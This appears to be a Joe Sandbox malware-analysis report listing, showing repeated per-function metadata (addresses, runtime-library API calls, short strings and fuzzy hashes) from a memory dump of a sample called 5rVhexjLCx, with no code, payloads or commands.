Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7f25da640b5b51231a59aae869ee9b6814a5f4e76228970c1bb3641f084e7754
Instruction ID: 8f1c5d075a6096ed96b834695a3720b6b678d1bdc617866fe751feb13a1e484b
Opcode Fuzzy Hash: 7f25da640b5b51231a59aae869ee9b6814a5f4e76228970c1bb3641f084e7754
Instruction Fuzzy Hash:

Function 00581D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00581E9B

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 7d515382473f9834d561d67ccdcd5d6dd9f99a509f002ca802973dce7224f300
Instruction ID: 9e692414c772132c80f302a0619e9df19edb0348f68176ce06cf6b993bc7dbe7
Opcode Fuzzy Hash: 7d515382473f9834d561d67ccdcd5d6dd9f99a509f002ca802973dce7224f300
Instruction Fuzzy Hash: 2D41D976E2052B5BCB4CFEB888561AABF6DE745350B14427ADD11EB3D1E2348A02C7D4

Function 0059CC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0059CC4B

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: fa91d7bafe0c32ac3df45c5d7f0a31c6c6f6abc08a997d067fada2b2e6671ef2
Instruction ID: c4ae05b53b393c60929be9f43dfa4e003f44f8de523ccde26222689850875dd6
Opcode Fuzzy Hash: fa91d7bafe0c32ac3df45c5d7f0a31c6c6f6abc08a997d067fada2b2e6671ef2
Instruction Fuzzy Hash: A3A02230202200CFAB00CF38EF0A32C3BE8EA2E2C0308802CB000C0030EB388088FF00

Function 0059BB36 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: d04d0f16b640b11b73363be08a2f33966437f4468800d25e5bf3bf86ce648fd9
Instruction ID: cc66af7cf84396458241f2e9697001a4651d8634c9a88b59bf0fef97d9c152cb
Opcode Fuzzy Hash: d04d0f16b640b11b73363be08a2f33966437f4468800d25e5bf3bf86ce648fd9
Instruction Fuzzy Hash: D9B117755007069BFF38AB25DD96BB7BBA8FF44308F14442DEA43C6580EB75A985CB10

Function 0059A64C Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction ID: a99d3ec4ef7da7d7824e914bcf4324dc9b592f5e3589125bb6dc9810a5a66916
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: 16E08C32921238EBCB15DB98C94898AF7ECFB84B00B190496B501D3210C270DE00C7E0

Function 005C6628 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00582003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ea9ffe098053f453a69d11fe00e5efa43da19669cf1da5c8e99c23d9e236669
Instruction ID: f185ab9483fa51188ec5d32e35c15b522193fe4b085338c7d26f404cff5f206d
Opcode Fuzzy Hash: 0ea9ffe098053f453a69d11fe00e5efa43da19669cf1da5c8e99c23d9e236669
Instruction Fuzzy Hash: 70D0953A601A14DFC220CF09E840941F7B8FBA9630B1681A6E904A3B20C334FC02CAE0

Function 00590F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: b76e2c19a1c8355a0a1a99cc42c455c295bf1f9a205822a8c3ce370fced3469c
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: 5DC08C340009008ACE398A20C2793A437A5B3E2782F8438CCDC1B0BB82C51E9D82DA11

Function 005853B1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 005853B8
std::_Lockit::_Lockit.LIBCPMT ref: 005853C2
int.LIBCPMT ref: 005853D9

Part of subcall function 005816B4: std::_Lockit::_Lockit.LIBCPMT ref: 005816C5
Part of subcall function 005816B4: std::_Lockit::~_Lockit.LIBCPMT ref: 005816DF

std::_Facet_Register.LIBCPMT ref: 00585413
std::_Lockit::~_Lockit.LIBCPMT ref: 00585433
Concurrency::cancel_current_task.LIBCPMT ref: 00585440

Strings

R[X, xrefs: 00585420

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID: R[X
API String ID: 55977855-2894495381
Opcode ID: fdab70ed048ac68ad2b58dbde02804a20715ef6c0da9d0104720b936ae9f0475
Instruction ID: f58eaf14c627cc765481cd657a59c0bb89934d6178b2979295abe090c087b3fe
Opcode Fuzzy Hash: fdab70ed048ac68ad2b58dbde02804a20715ef6c0da9d0104720b936ae9f0475
Instruction Fuzzy Hash: 6111DF71910A1ADBCB10FBA4C809AAEBFB5BF84325F100509FC01B7291EF74AA05CB81

Function 0058A5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 0058A6E7
___TypeMatch.LIBVCRUNTIME ref: 0058A7F5
CallUnexpected.LIBVCRUNTIME ref: 0058A962

Strings

csm, xrefs: 0058A672
csm, xrefs: 0058A605
csm, xrefs: 0058A71E

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: db362add9c242f97d3ae9f77de99ef6ec0a749cfcdcbbd25702ff99b91ddf407
Instruction ID: 17a1874943784a001ddb3d6c257c01d866ca4a26cfd362e73dd8b3287995dbe0
Opcode Fuzzy Hash: db362add9c242f97d3ae9f77de99ef6ec0a749cfcdcbbd25702ff99b91ddf407
Instruction Fuzzy Hash: D9B1687180020AAFEF25EFA4C8859AEBFB5FF44310B14455AEC117B216D731EA51CFA2

Function 00595F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,4469CFAA,?,00596057,0058C446,?,F8250000,00000000), ref: 0059600B

Strings

api-ms-, xrefs: 00595FA1
ext-ms-, xrefs: 00595FB5

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 640a11bc7870fea4d3540055f04139e1969bf5b968f669d04d3fff3c7a9c6723
Instruction ID: 66cb915a1bd4f3073ad96e68c9cfbcc1c06d1b2e97c77b27d9add6bc8dea6663
Opcode Fuzzy Hash: 640a11bc7870fea4d3540055f04139e1969bf5b968f669d04d3fff3c7a9c6723
Instruction Fuzzy Hash: F021D571A00511EBDF229B24EC49A6E7F68BB52774B250110F916EB2D0FB30EE14D7E1

Function 0058507A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00585081
std::_Lockit::_Lockit.LIBCPMT ref: 0058508C
std::locale::_Setgloballocale.LIBCPMT ref: 005850A7
_Yarn.LIBCPMT ref: 005850BD
std::_Lockit::~_Lockit.LIBCPMT ref: 005850FA

Strings

R[X, xrefs: 005850C9, 005850ED

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID: R[X
API String ID: 156189095-2894495381
Opcode ID: 0b7130f48b0ead71d1f0191e8a954dbaf3bbc68d209b611f31ffc3ccf4b685f2
Instruction ID: 5ed176f184d5893c4d2827fe218bc815d38534cedc947afd08a184cd6de46587
Opcode Fuzzy Hash: 0b7130f48b0ead71d1f0191e8a954dbaf3bbc68d209b611f31ffc3ccf4b685f2
Instruction Fuzzy Hash: 2F01BC35A00966CBD705BB20D859A7C7FA1BFD9340B244009FC1167381DF38AE06DBC1

Function 00590F50 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,4469CFAA,?,?,00000000,005A1FC8,000000FF,?,00590EE0,00591010,?,00590EB4,00000000), ref: 00590F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00590F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,005A1FC8,000000FF,?,00590EE0,00591010,?,00590EB4,00000000), ref: 00590FB9

Strings

R[X, xrefs: 00590FA8
mscoree.dll, xrefs: 00590F7E
CorExitProcess, xrefs: 00590F8F

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$R[X$mscoree.dll
API String ID: 4061214504-1190711478
Opcode ID: 4a2a25c5873d23674d7f5e60cafe26b0a6716ff5abae57e45651e3f120eeacf0
Instruction ID: 83e29d15ec17fc545876eec2dba2f2c67668340f01748798ab603dba5aba82e2
Opcode Fuzzy Hash: 4a2a25c5873d23674d7f5e60cafe26b0a6716ff5abae57e45651e3f120eeacf0
Instruction Fuzzy Hash: 95018672904615EFDB119F50DC09FAEFFB8FB05B14F040529F811A26D0DB749A04DA90

Function 0059F356 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3625ac920814dfcfc628117a34a58bd78227c7a3d7aae2bebced70dd95bf2333
Instruction ID: f60f7e54fa25f0b717c980e69ccf31f5ca85dd8a73909e280283d785ffdbb138
Opcode Fuzzy Hash: 3625ac920814dfcfc628117a34a58bd78227c7a3d7aae2bebced70dd95bf2333
Instruction Fuzzy Hash: CFB1E170A0024AAFDF11DFA9D884BADBFB1BF95300F184169E400EB2A2C771DD41CB61

Function 0058A25A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0058A251,00588978,00587AFF), ref: 0058A268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0058A276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0058A28F
SetLastError.KERNEL32(00000000,0058A251,00588978,00587AFF), ref: 0058A2E1

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1755dded4e83345548095f6489612820a8009e56713f31f1304eafabd269bf37
Instruction ID: b56e849d28da5e19409ae710daa34af60f36037510b039aa8cbad9bd4041c24d
Opcode Fuzzy Hash: 1755dded4e83345548095f6489612820a8009e56713f31f1304eafabd269bf37
Instruction Fuzzy Hash: 6F01D23624C7122EBB2437747C8E6262F59FB53774B20422AFC12614F2EB124C1A6352

Function 0058A371 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0058A438
___AdjustPointer.LIBCMT ref: 0058A45B
___AdjustPointer.LIBCMT ref: 0058A4F7

Strings

R[X, xrefs: 0058A3D0

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: R[X
API String ID: 1740715915-2894495381
Opcode ID: ed3f242f3632578584db91ab3ce594483e2ae51e1ba5845e98318dc22c07c00f
Instruction ID: 6e280adfcb66fb5db3645859a8a16817514d2f696b21c90e5de614fecbc6544f
Opcode Fuzzy Hash: ed3f242f3632578584db91ab3ce594483e2ae51e1ba5845e98318dc22c07c00f
Instruction Fuzzy Hash: AB51E2726016069FFF25AF54D849B7A7FA4FF44310F24482AEC15A71A1EB71EC80DB92

Function 00584436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00584442
int.LIBCPMT ref: 00584455

Part of subcall function 005816B4: std::_Lockit::_Lockit.LIBCPMT ref: 005816C5
Part of subcall function 005816B4: std::_Lockit::~_Lockit.LIBCPMT ref: 005816DF

std::_Facet_Register.LIBCPMT ref: 00584488
std::_Lockit::~_Lockit.LIBCPMT ref: 0058449E
Concurrency::cancel_current_task.LIBCPMT ref: 005844A9

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 229b94f9adc4c99fd568078b8e6a4ab1d11911e478754a26551027d5c4564d11
Instruction ID: b1c360b746ec6f8f772a8fc2a2db180034e8303c81a0206fbab24d13833d5ce8
Opcode Fuzzy Hash: 229b94f9adc4c99fd568078b8e6a4ab1d11911e478754a26551027d5c4564d11
Instruction Fuzzy Hash: 6301847250051AEBCB15FB54D8099AE7F68FFD0760B100559FD05BB2A0EF349E46DB84

Function 00583DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00583DBD
int.LIBCPMT ref: 00583DD0

Part of subcall function 005816B4: std::_Lockit::_Lockit.LIBCPMT ref: 005816C5
Part of subcall function 005816B4: std::_Lockit::~_Lockit.LIBCPMT ref: 005816DF

std::_Facet_Register.LIBCPMT ref: 00583E03
std::_Lockit::~_Lockit.LIBCPMT ref: 00583E19
Concurrency::cancel_current_task.LIBCPMT ref: 00583E24

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 358ca89e76f26a7a855c71ca734a84b5f90166d73cc6fb1c7da4dfbcf5cfade8
Instruction ID: b0eae81242508a15f2e7f9ea05a344e7baa09676784bdc1f7367c9857d3d88df
